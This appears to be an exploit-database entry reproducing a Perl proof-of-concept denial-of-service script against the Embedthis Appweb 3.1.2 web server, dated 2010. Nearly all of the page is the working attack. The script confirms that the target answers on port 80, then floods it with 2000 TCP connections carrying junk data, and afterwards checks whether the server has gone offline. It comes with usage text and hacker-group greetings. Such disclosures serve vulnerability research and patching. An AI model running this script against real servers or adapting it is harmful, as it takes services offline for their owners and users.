Embedthis Appweb 3.1.2 - Remote DoS

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Embedthis Appweb 3.1.2 Remote DoS by [email protected]

                                                #!/usr/bin/perl
 
################################################################################
# 
# +------------------------------------------------------------------------+
# |                                 .......                                |
# |                         ..&#39;&#39;xxxxxxxxxxxxxxx&#39;...                        |
# |                    ..&#39;xxxxxxxxxxxxxxxxxxxxxxxxxxx..                    |
# |                 ..&#39;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#39;.                 |
# |               .&#39;xxxxxxxxxxxxxxxxxxxxxxxxxxxx&#39;&#39;&#39;.......&#39;.               |
# |             .&#39;xxxxxxxxxxxxxxxxxxxxx&#39;&#39;......        ...  ..             |
# |            .xxxxxxxxxxxxxxxxxx&#39;...         ........      .&#39;.           |
# |           &#39;xxxxxxxxxxxxxxx&#39;......                          &#39;.          |
# |          &#39;xxxxxxxxxxxxxx&#39;..&#39;x..                            .x.         |
# |         .xxxxxxxxxxxx&#39;...&#39;..                  ...           .&#39;         |
# |         &#39;xxxxxxxxx&#39;..  .                          ..        .x.        |
# |         xxxxxxx&#39;.                                  ..        x.        |
# |         xxxx&#39;.                ....                  x        x.        |
# |         &#39;x&#39;.            ...&#39;xxxxxxx&#39;.               x       .x.        |
# |         .x&#39;.         .&#39;xxxxxxxxxxxxxx.             &#39;&#39;       .&#39;         |
# |          .xx.      .&#39;xxxxxxxxxxxxxxxx.           .&#39;xx&#39;&#39;&#39;.  .&#39;          |
# |           .xx..    &#39;xxxxxxxxxxxxxxxx&#39;          .&#39;xxxxxxxxx&#39;&#39;.          |
# |            .&#39;xx&#39;.  .&#39;xxxxxxxxxxxxxxx.      ..&#39;xxxxxxxxxxxx&#39;            |
# |              .xxx&#39;.  .xxxxxxxxxxxx&#39;.    .&#39;xxxxxxxxxxxxxx&#39;.             |
# |                .xxxx&#39;.&#39;xxxxxxxxx&#39;.      xxx&#39;xxxxxxxxxx&#39;.               |
# |                  .&#39;xxxxxxx&#39;....          ...xxxxxxx&#39;.                  |
# |                     ..&#39;xxxxx&#39;..         ..xxxxx&#39;..                     |
# |                          ....&#39;xx&#39;.....&#39;&#39;&#39;&#39;...                          |
# |                                                                        |
# |                    CubilFelino Security Research Labs                  |
# |                            proudly presents...                         |
# +------------------------------------------------------------------------+
#
#	              Embedthis Appweb 3.1.2 Remote DoS 
#
#
# Greets: l1l1th (my h4x0r bab3), nitr0us, alt3kx, hkm, r1l0, b0rr3x, w01f,
#	  w0lf47, gh0st, CHiP, corelanc0d3r and all the crew of sectester.net. 
#
################################################################################

# Exploit Title: Embedthis Appweb 3.1.2 Remote DoS
# Date: Mar 12, 2010
# Author: chr1x
# Software Link: http://embedthis.com/downloads/index.html 
# Version: 3.1.2
# Tested on: Windows XP SP3 (Spanish Edition)

# st4rt of v00d00 c0d3 XD

use HTTP::Lite;
use IO::Socket;
use locale;

if ($#ARGV != 1) { print &#34;
############################################################
 CubilFelino Security Labs Embedthis Appweb 3.1.2 Remote DoS
		by chr1x\@sectester.net
############################################################

Usage: &#34;. $0 .&#34; -h (ip address)\n

&#34;; exit; } &main();


sub main {
print &#34;
############################################################
 CubilFelino Security Labs Embedthis Appweb 3.1.2 Remote DoS
		by chr1x\@sectester.net
############################################################

&#34;;
# Variables
$DossedIP = $ARGV[1];
# Execution functions
&appWebCheck();
sleep 30;
&afterDoS();
}

sub appWebCheck {
print &#34;[*] Verifying that AppWeb is running at $DossedIP in port 80\n&#34;;
my $http = new HTTP::Lite;
my $req = $http-&#62;request(&#34;http://$DossedIP/&#34;) 
        or die &#34;[*] Remote address $DossedIP seems not to be up, stopped&#34;;
if ($req) { print &#34;[*] w00t! Appweb seems to be running! Sending DoS.. XD\n&#34;; 
for ($i=1; $i&#60;=2000; $i++) {    
my $sock = new IO::Socket::INET (PeerAddr =&#62; $DossedIP, PeerPort =&#62; &#39;80&#39;, Proto =&#62; &#39;tcp&#39;, Type =&#62; SOCK_STREAM,);
if ($sock) { 
print &#34;[*] Sending Connection request Number: $i\n&#34;;
print $sock &#34;Die Biatch!&#34;;
close($sock);
}}}}

sub afterDoS {

$http = new HTTP::Lite;
$req = $http-&#62;request(&#34;http://$DossedIP/&#34;) 
        or die &#34;[*] Webserver DoSsed!! Port 80 is unreacheable now.&#34;;
}
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1